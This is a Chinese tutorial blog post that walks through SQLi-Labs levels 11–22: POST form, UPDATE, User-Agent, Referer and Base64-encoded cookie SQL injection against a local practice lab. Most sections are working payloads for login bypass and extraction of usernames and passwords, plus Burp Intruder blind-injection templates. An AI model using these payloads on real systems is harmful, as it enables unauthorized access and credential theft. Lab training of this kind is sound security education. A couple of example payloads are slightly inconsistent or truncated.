SQLi-Labs靶场从零搭建到通关全攻略(三):POST注入与HTTP头注入

摘要: 在前两篇文章中,我们已经掌握了GET型注入的全部套路------从显注到盲注,从联合查询到报错注入。但真实世界的Web应用,登录表单、搜索框、修改密码等功能几乎都是用POST请求提交数据的。当注入点从URL参数转移到表单字段、HTTP请求头甚至Cookie时,我们该如何应对?

本文作为系列攻略的第三篇,将系统讲解POST型注入HTTP头注入 (User-Agent、Referer、Cookie)以及Base64编码注入。我们将通关Less-11到Less-22,涵盖从登录框注入到密码重置注入、从请求头注入到Cookie注入的全场景实战。


一、从GET到POST:换个姿势继续注入

1.1 为什么要学POST注入?

在前十关,我们所有的注入都是通过URL传递参数(GET请求)。但在实际开发中,登录、注册、修改信息、提交订单等功能几乎都使用POST请求。POST请求的参数不在URL中,而是隐藏在HTTP请求体(Body)里。

打个比方:GET注入像是在信封上写字(所有人都能看到),POST注入则是把信纸装进信封里(浏览器地址栏看不到)。

1.2 GET和POST的核心区别

对比项 GET方法 POST方法
参数位置 URL后面(如?id=1 HTTP请求体中
参数可见性 URL中完全暴露 请求体中隐藏
数据大小限制 受URL长度限制 无大小限制
典型场景 搜索、分页 登录、表单提交

1.3 POST注入的工具体系

由于POST参数不在URL中,我们不能像以前那样直接在浏览器地址栏改参数。需要借助工具:

  • HackBar:浏览器插件,可以方便地构造和发送POST请求

  • Burp Suite:专业的Web安全测试工具,可以抓包、改包、重放

  • 浏览器开发者工具:F12 → Network,查看请求详情


二、Less-11:POST单引号字符型注入

2.1 关卡信息

  • 关卡名称:Less-11 - POST - Error Based - Single quotes - String

  • 漏洞类型:POST型单引号字符型注入

  • 核心考点:从GET切换到POST,学会在表单中注入

2.2 第一步:观察页面,找到注入点

打开Less-11,映入眼帘的是一个登录页面

  • 用户名输入框(name="dumb")

  • 密码输入框(name="dumb")

  • 提交按钮

关键思路 :前10关直接在URL改参数,现在需要在输入框里输入注入语句。

2.3 第二步:测试注入点

用户名输入框中输入:

复制代码
1'

密码随便填(如1),点击提交。

页面返回了SQL错误信息,说明存在注入点 ,且闭合方式是单引号

2.4 第三步:万能密码(快速过关)

既然有报错回显,先试试能不能用万能密码直接登录:

用户名输入:

复制代码
1' or 1=1 #

密码随便填。

注意 :这里用#注释而不是--+,因为--+在POST环境下可能不生效。

如果成功登录,说明注入点存在且可以利用。

2.5 第四步:判断字段数

使用order by判断查询字段数:

用户名输入:

复制代码
1' order by 2 #

正常登录 → 字段数≥2

用户名输入:

复制代码
1' order by 3 #

报错 → 字段数<3

结论:字段数为2

2.6 第五步:找显示位

用户名输入:

复制代码
1' union select 1,2 #

密码随便填。

页面上会显示12,说明两个字段都可以回显

2.7 第六步:获取数据库信息

获取当前数据库名

复制代码
1' union select 1,database() #

获取所有表名

复制代码
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

获取users表的字段名

复制代码
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

获取账号密码

复制代码
1' union select 1,(select group_concat(username,':',password) from security.users) #

2.8 核心要点总结

POST注入和GET注入的核心区别只有一点:参数放哪了 。一旦你能截获POST请求、在表单字段中构造payload,后续的注入流程(判断闭合、order by、union select、查表查数据)完全一致


三、Less-12:POST双引号+括号注入

3.1 关卡信息

  • 漏洞类型:POST型双引号+括号字符型注入

  • 闭合方式")

3.2 通关步骤

第一步:测试闭合方式 在用户名输入:

复制代码
1"

报错信息提示是双引号+括号闭合。

第二步:构造闭合payload

复制代码
1") or 1=1 #

第三步:联合查询(和Less-11一样,只是闭合方式不同)

复制代码
// 判断字段数
1") order by 2 #        //正常
1") order by 3 #        //报错,所以字段数为2
// 找显示位
1") union select 1,2 #
// 获取数据库信息
1") union select 1,database() #
// 获取库中所有表
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
// 获取users表所有字段
1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
// 获取所有账号密码
1") union select 1,(select group_concat(username,':',password) from security.users) #

四、Less-13:POST单引号+括号报错注入

4.1 关卡信息

  • 漏洞类型:POST型单引号+括号字符型注入

  • 闭合方式')

  • 核心变化 :登录成功后不再显示用户名和密码

4.2 为什么不能用联合查询了?

Less-13登录成功后只显示一张图片,没有数据回显。这意味着联合查询(需要显示位)行不通了。

4.3 改用报错注入

既然有错误回显,就用报错注入。

第一步:测试闭合方式 用户名输入:

复制代码
1')

报错,确认闭合方式为')

第二步:报错注入获取数据库名

复制代码
1') and updatexml(1,concat(0x7e,database()),1) #

第三步:获取表名

复制代码
1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #

第四步:获取字段名

复制代码
1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #

第五步:获取数据

复制代码
1') and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1) #
复制代码
1') and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 1,1)),1) #

五、Less-14:POST双引号报错注入

5.1 关卡信息

  • 漏洞类型:POST型双引号字符型注入

  • 闭合方式"

5.2 通关步骤

Less-14和Less-13的唯一区别就是闭合方式从')变成了"

测试闭合方式,报错,确认闭合方式为"

复制代码
1"

报错注入payload

复制代码
1" and updatexml(1,concat(0x7e,database()),1) #

或者使用extractvalue():

复制代码
admin" and extractvalue(1,concat(0x7e,(select database()))) and "

获取数据

复制代码
// 获取所有表名
1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #
// 获取users表所有字段名
1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #
// 获取users表所有用户名密码
1" and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1) #

六、Less-15:POST布尔盲注(单引号)

6.1 关卡信息

  • 漏洞类型:POST型单引号字符型注入

  • 注入方式:布尔盲注

  • 核心特点:无报错回显,只有登录成功/失败两种状态

6.2 什么是POST布尔盲注?

Less-15既不显示数据,也不显示错误信息。页面只有两种状态:

  • 登录成功:显示成功页面

  • 登录失败:显示失败页面

我们可以利用这个差异,逐位猜解数据。

6.3 第一步:判断闭合方式

用户名输入:

复制代码
1' or 1=1 #

登录成功 → 说明是单引号闭合。

6.4 第二步:判断数据库名长度

用户名输入:

复制代码
1' or length(database())=8 #
  • 登录成功 → 长度为8

  • 登录失败 → 长度不是8

6.5 第三步:逐位猜解数据库名

用户名输入:

复制代码
1' or ascii(substr(database(),1,1))=115 #
  • 登录成功 → 第1个字符是s(ASCII=115)

依次猜第2、3、4...位:

复制代码
1' or ascii(substr(database(),2,1))=101 #   -- e
1' or ascii(substr(database(),3,1))=99 #    -- c
...

6.6 第四步:自动化------用Burp Suite加速

手工布尔盲注太慢了,每个字符都要试几十次。推荐使用Burp Suite的Intruder模块实现自动化。

配置步骤

打开Burp Suite软件,开启代理,打开内嵌浏览器

拦截登录请求,发送到Intruder

在uname参数的注入点前后添加§标记

复制代码
uname=1' or length(database())=§len§ #&passwd=123456&submit=Submit

选择狙击手模式(Sniper),配置Payload为数值范围(1-30),猜解数据库长度,开始攻击

根据攻击结果,得到数据库长度为8

选择集束炸弹(Cluster bomb),配置Payload

  • Payload set1:数字 1~8(代表第几位)
  • Payload set2:数值 32-126(ASCII 字符)

逐位猜解数据库名,开始攻击

复制代码
uname=1' or ascii(substr(database(),§pos§,1))=§code§ #&passwd=123456&submit=Submit

根据攻击结果,得知占位和ascii值

ASCII 位置排序转换工具

html 复制代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>ASCII位置字符转换器</title>
    <style>
        * {
            box-sizing: border-box;
            margin: 0;
            padding: 0;
            font-family: "Microsoft Yahei", sans-serif;
        }
        body {
            background: #f5f7fa;
            padding: 50px 20px;
        }
        .box {
            max-width: 600px;
            margin: 0 auto;
            background: #fff;
            padding: 30px;
            border-radius: 12px;
            box-shadow: 0 2px 12px rgba(0,0,0,0.1);
        }
        h2 {
            text-align: center;
            color: #333;
            margin-bottom: 25px;
        }
        .tip {
            color: #666;
            font-size: 14px;
            margin-bottom: 12px;
        }
        textarea {
            width: 100%;
            height: 100px;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 6px;
            font-size: 16px;
            resize: none;
        }
        button {
            width: 100%;
            height: 46px;
            margin-top: 15px;
            background: #2563eb;
            color: white;
            border: none;
            border-radius: 6px;
            font-size: 17px;
            cursor: pointer;
        }
        button:hover {
            background: #1d4ed8;
        }
        .result-box {
            margin-top: 20px;
            padding: 15px;
            background: #f0f7ff;
            border-radius: 6px;
        }
        .result-title {
            font-size: 15px;
            color: #444;
            margin-bottom: 8px;
        }
        #result {
            font-size: 22px;
            color: #2563eb;
            font-weight: bold;
        }
        .error {
            color: #dc2626;
            margin-top: 10px;
        }
    </style>
</head>
<body>
    <div class="box">
        <h2>ASCII位置排序转换器</h2>
        <div class="tip">输入格式示例:3,115,2,114,4,112,1,111</div>
        <textarea id="inputVal" placeholder="请输入逗号分隔的数字,两两一组:位置,ASCII码"></textarea>
        <button onclick="convert()">一键转换</button>
        <div id="errMsg" class="error"></div>
        <div class="result-box">
            <div class="result-title">转换结果:</div>
            <div id="result"></div>
        </div>
    </div>

    <script>
        function convert() {
            const input = document.getElementById('inputVal').value.trim();
            const errDom = document.getElementById('errMsg');
            const resDom = document.getElementById('result');
            errDom.innerText = '';
            resDom.innerText = '';

            // 分割并转数字数组
            let numArr;
            try {
                numArr = input.split(',').map(item => {
                    const n = parseInt(item.trim());
                    if (isNaN(n)) throw '包含非数字内容';
                    return n;
                })
            } catch (e) {
                errDom.innerText = '错误:输入只能是数字,用逗号分隔';
                return;
            }

            // 判断总数是否为偶数
            if (numArr.length % 2 !== 0) {
                errDom.innerText = '错误:数字数量必须是偶数,格式为 位置1,ASCII1,位置2,ASCII2...';
                return;
            }

            // 两两分组 [位置, ASCII码]
            let pairs = [];
            for (let i = 0; i < numArr.length; i += 2) {
                const pos = numArr[i];
                const code = numArr[i + 1];
                pairs.push([pos, code]);
            }

            // 按位置升序排序
            pairs.sort((a, b) => a[0] - b[0]);

            // 拼接字符
            let output = '';
            pairs.forEach(item => {
                const ascii = item[1];
                output += String.fromCharCode(ascii);
            })

            resDom.innerText = output;
        }
    </script>
</body>
</html>

选择狙击手模式(Sniper),配置Payload为数值范围(1-100),猜解数据库中所有表长度,开始攻击

html 复制代码
uname=1' or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=§len§ #&passwd=123456&submit=Submit

根据攻击结果,得到数据库所有表长度为29

选择集束炸弹(Cluster bomb),配置Payload

  • Payload set1:数字 1~29(代表第几位)
  • Payload set2:数值 32-126(ASCII 字符)

逐位猜解所有表名,开始攻击

html 复制代码
uname=1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),§pos§,1))=§code§ #&passwd=123456&submit=Submit

根据攻击结果,得知占位和ascii值

选择狙击手模式(Sniper),配置Payload为数值范围(1-100),猜解users表中所有字段长度,开始攻击

html 复制代码
uname=1' or length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=§len§ #&passwd=123456&submit=Submit

根据攻击结果,得到users表中所有字段长度为20

选择集束炸弹(Cluster bomb),配置Payload

  • Payload set1:数字 1~20(代表第几位)
  • Payload set2:数值 32-126(ASCII 字符)

逐位猜解users表所有字段,开始攻击

html 复制代码
uname=1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),§pos§,1))=§code§ #&passwd=123456&submit=Submit

根据攻击结果,得知占位和ascii值

选择狙击手模式(Sniper),配置Payload为数值范围(1-200),猜解users表中所有用户名密码的长度,开始攻击

html 复制代码
uname=1' or length((select group_concat(username,':',password) from security.users))=§len§ #&passwd=123456&submit=Submit

根据攻击结果,得到users表中所有用户名密码的长度为188

选择集束炸弹(Cluster bomb),配置Payload

  • Payload set1:数字 1~188(代表第几位)
  • Payload set2:数值 32-126(ASCII 字符)

逐字符爆破users表中完整账号密码串,开始攻击

html 复制代码
uname=1' or ascii(substr((select group_concat(username,':',password) from security.users),§pos§,1))=§code§ #&passwd=123456&submit=Submit

根据攻击结果,得知占位和ascii值

html 复制代码
72,100,118,110,104,33,10,44,30,44,45,44,59,44,76,44,93,44,119,44,133,44,147,44,161,44,175,44,21,45,125,49,132,49,139,50,146,50,153,51,160,51,181,52,188,52,5,58,19,58,36,58,52,58,85,58,100,58,113,58,126,58,140,58,154,58,169,58,182,58,38,64,11,65,1,68,6,68,31,68,20,73,55,97,83,97,95,97,98,97,108,97,114,97,120,97,127,97,134,97,141,97,148,97,164,97,167,97,176,97,4,98,94,98,103,98,48,99,53,99,44,100,65,100,109,100,115,100,121,100,128,100,135,100,142,100,149,100,170,100,177,100,184,100,14,101,47,101,51,101,80,101,87,101,106,101,13,103,86,103,163,104,16,105,23,105,64,105,71,105,73,105,111,105,117,105,123,105,130,105,137,105,144,105,151,105,158,105,179,105,186,105,22,107,165,107,166,107,15,108,24,108,25,108,105,108,3,109,8,109,33,109,34,109,82,109,97,109,101,109,110,109,136,109,143,109,150,109,157,109,172,109,178,109,185,109,12,110,17,110,84,110,88,110,99,110,112,110,124,110,131,110,138,110,145,110,152,110,159,110,168,110,187,110,28,111,42,111,90,111,102,111,174,111,37,112,56,112,57,112,63,112,70,112,79,112,43,114,50,114,54,114,81,114,39,115,40,115,46,115,60,115,67,115,92,115,61,116,68,116,74,116,96,116,2,117,7,117,29,117,32,117,49,117,62,117,69,117,78,117,91,117,171,117,27,121,35,121,58,121,107,44,26,45,66,58,18,97,155,97,183,97,9,98,156,100,89,105,116,109,122,109,129,109,180,110,77,115,41,119,75,121,173,98,162,100

七、Less-16:POST布尔盲注(双引号+括号)

7.1 关卡信息

  • 漏洞类型:POST型双引号+括号字符型注入

  • 闭合方式")

  • 注入方式:布尔盲注/时间盲注

7.2 通关步骤

Less-16和Less-15的唯一区别是闭合方式变成了")

判断闭合

html 复制代码
1") or 1=1 #

登录成功 → 闭合方式为")

后续步骤和Less-15完全一样,只是把单引号换成")

html 复制代码
1") or length(database())=8 #
1") or ascii(substr(database(),1,1))=115 #

八、Less-17:密码重置处的UPDATE注入

8.1 关卡信息

  • 关卡名称:Less-17 - POST - Update Query - Error Based - String

  • 漏洞类型:POST型UPDATE语句报错注入

  • 核心特点 :注入点在修改密码 处,SQL语句是UPDATE而不是SELECT

8.2 为什么Less-17与众不同?

前16关都是查询(SELECT) 类型的SQL注入------我们通过注入获取数据库中的数据。

而Less-17是一个密码重置页面。后端逻辑是:

输入用户名和新密码

检查用户名是否存在

如果存在,执行UPDATE语句修改密码

关键点:用户名被过滤了 ,但密码字段没有过滤

8.3 第一步:测试注入点

先输入一个正确的用户名(如admin),在密码框输入:

html 复制代码
1'

点击提交,页面返回错误信息 → 存在注入!

8.4 第二步:报错注入获取数据库名

密码框输入:

html 复制代码
1' and updatexml(1,concat(0x7e,database()),1) #

8.5 第三步:获取表名

html 复制代码
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #

8.6 第四步:获取字段名

html 复制代码
1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31)),1) #

8.7 第五步:获取数据

html 复制代码
1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from (select * from security.users) tmp limit 0,1)),1) #
// 1,1 
1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from (select * from security.users) tmp limit 1,1)),1) #
// 2,1
1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from (select * from security.users) tmp limit 2,1)),1) #
... ...

关键提示 :一定要用正确的用户名 (如admin),否则UPDATE语句不会执行。


九、Less-18:User-Agent头注入

9.1 关卡信息

  • 关卡名称:Less-18 - POST - Header Injection - Uagent field - Error based

  • 漏洞类型:HTTP头注入(User-Agent)

  • 核心特点 :注入点从表单转移到了HTTP请求头

9.2 什么是HTTP头注入?

之前的注入都是在URL参数或表单字段中。但有些Web应用会把HTTP请求头(如User-Agent、Referer、Cookie)的信息存入数据库。

如果这些信息没有被过滤就直接拼接到SQL语句中,就会产生HTTP头注入

9.3 第一步:正常登录

先用正确的账号密码登录(如admin/admin)。

登录成功后,页面会显示你的IP地址User-Agent信息

9.4 第二步:抓包,找到User-Agent

使用Burp Suite抓包,在请求头中找到User-Agent字段。

9.5 第三步:在User-Agent中注入

将User-Agent修改为:

html 复制代码
' and updatexml(1,concat(0x7e,database()),1) and '

9.6 第四步:获取更多数据

User-Agent中注入获取表名:(limit 依次修改 0,1 / 1,1 / 2,1...)

html 复制代码
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) and '

获取数据:

html 复制代码
# 获取users表字段名
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)),1) and '
html 复制代码
# 获取users表用户名密码
1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 0,1)),1) and '

十、Less-19:Referer头注入

10.1 关卡信息

  • 关卡名称:Less-19 - POST - Header Injection - Referer field - Error based

  • 漏洞类型:HTTP头注入(Referer)

  • 与Less-18的区别 :注入点从User-Agent换成了Referer

10.2 通关步骤

第一步:正常登录(admin/admin)

第二步 :抓包,找到Referer字段

第三步:在Referer中注入:

html 复制代码
' and updatexml(1,concat(0x7e,database()),1) and '

后续步骤和Less-18完全一样,只是把payload放在Referer字段里。


十一、Less-20:Cookie注入

11.1 关卡信息

  • 关卡名称:Less-20 - POST - Cookie Injections - Uagent field - Error based

  • 漏洞类型:Cookie注入

  • 核心特点 :注入点从请求头转移到了Cookie

11.2 什么是Cookie注入?

很多Web应用会在用户登录成功后,把用户名等信息存到Cookie中。后续访问时,直接从Cookie读取信息并拼接到SQL语句中。

如果Cookie值没有被过滤,就产生了Cookie注入

11.3 第一步:正常登录

admin/admin登录。

登录后,浏览器会收到一个Cookie,里面包含了用户信息。

11.4 第二步:Get方法

使用Burp Suite抓包,内嵌浏览器访问http://localhost/sqli-labs/Less-20/,不进行登录

11.5 第三步:修改请求头

html 复制代码
Cookie: uname=Dumb' and updatexml(1,concat(0x7e,database()),1) and '

11.6 第四步:查询 security 库所有表

html 复制代码
Cookie: uname=Dumb' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) and '

11.7 第五步:查询 users 表字段

html 复制代码
Cookie: uname=Dumb' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)),1) and '

11.8 第六步:查询所有账号密码

html 复制代码
Cookie: uname=Dumb' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 0,1)),1) and '

十二、Less-21:Cookie Base64编码注入(单引号+括号)

12.1 关卡信息

  • 关卡名称:Less-21 - Cookie Injection - base64 encoded - single quotes and parenthesis

  • 漏洞类型:Base64编码的Cookie注入

  • 核心特点 :Cookie值经过了Base64编码

12.2 什么是Base64编码注入?

Less-21中,服务器会把用户名Base64编码 后存入Cookie。读取时先解码再拼接到SQL语句中。

这意味着:我们注入的payload也要先Base64编码才能生效!

12.3 第一步:正常登录,查看Cookie

admin/admin登录。查看Cookie,会发现类似:uname=YWRtaW4=

YWRtaW4=就是admin的Base64编码。

12.4 第二步:解码确认

在线工具或Python解码:

html 复制代码
import base64
print(base64.b64decode("YWRtaW4="))  # 输出: admin

12.5 第三步:构造注入payload并编码

假设我们要注入:

html 复制代码
admin' and updatexml(1,concat(0x7e,database()),1) #

Base64编码

html 复制代码
import base64
payload = "admin' and updatexml(1,concat(0x7e,database()),1) and '"
print(base64.b64encode(payload.encode()).decode())
# 输出: YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwxKSBhbmQgJw==

12.6 第四步:替换Cookie

将Cookie中的uname值替换为编码后的payload:

html 复制代码
Cookie: uname=YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwxKSBhbmQgJw==

十三、Less-22:Cookie Base64编码注入(双引号)

13.1 关卡信息

  • 关卡名称:Less-22 - Cookie Injection - base64 encoded - double quotes

  • 漏洞类型:Base64编码的Cookie注入

  • 与Less-21的区别 :闭合方式从')变成了"

13.2 通关步骤

Less-22和Less-21的唯一区别是闭合方式不同。

原始payload(双引号闭合):

html 复制代码
admin" and updatexml(1,concat(0x7e,database()),1) and "

Base64编码后

html 复制代码
import base64
payload = 'admin" and updatexml(1,concat(0x7e,database()),1) and "'
print(base64.b64encode(payload.encode()).decode())

将编码后的值替换到Cookie的uname中。

html 复制代码
Cookie: uname=YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpKSwxKSBhbmQ

总结

掌握了POST注入(Less-11~16) :从登录框注入开始,学会了在表单字段中构造payload,掌握了POST环境下的联合查询、报错注入和布尔盲注

理解了UPDATE注入(Less-17) :SQL语句不只有SELECT,UPDATE同样存在注入风险,且需要满足特定条件(正确的用户名)

学会了HTTP头注入(Less-18~20) :注入点从参数转移到了User-Agent、Referer和Cookie,扩展了我们对注入点的认知

掌握了Base64编码注入(Less-21~22) :当数据被编码后传输时,注入payload也需要同步编码,这是一个重要的实战技能

从Less-1到Less-22,我们完成了SQL注入基础知识体系的完整构建:

  • 注入位置:GET参数 → POST表单 → HTTP头 → Cookie

  • 注入方法:联合查询 → 报错注入 → 布尔盲注 → 时间盲注

  • SQL类型:SELECT → UPDATE → INSERT

  • 编码绕过:明文 → Base64编码


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。